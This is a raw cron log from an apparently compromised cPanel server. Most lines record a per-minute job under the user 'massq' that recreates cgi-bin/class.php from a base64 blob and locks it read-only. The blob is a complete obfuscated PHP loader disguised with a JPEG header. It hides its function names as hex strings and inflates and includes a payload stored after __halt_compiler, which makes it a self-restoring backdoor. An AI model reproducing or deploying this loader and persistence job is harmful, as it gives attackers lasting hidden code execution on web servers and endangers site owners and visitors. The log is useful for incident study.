Nov 14 03:56:01 server CROND[20174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:57:01 server CROND[21039]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:57:01 server CROND[21038]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 03:58:01 server CROND[21896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:59:01 server CROND[22849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:00:01 server CROND[23930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:00:01 server CROND[23931]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 04:00:01 server CROND[23932]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 04:00:01 server CROND[23935]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:00:01 server CROND[23933]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:01:01 server CROND[24856]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 04:01:01 server CROND[24857]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:01:01 server run-parts(/etc/cron.hourly)[24856]: starting 0anacron
Nov 14 04:01:01 server run-parts(/etc/cron.hourly)[24869]: finished 0anacron
Nov 14 04:02:01 server CROND[25604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:03:01 server CROND[26476]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:04:01 server CROND[27424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:05:01 server CROND[28290]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 04:05:01 server CROND[28291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:05:01 server CROND[28292]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:05:01 server CROND[28289]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:06:01 server CROND[29261]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:07:01 server CROND[30143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:08:01 server CROND[30920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:09:01 server CROND[31949]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
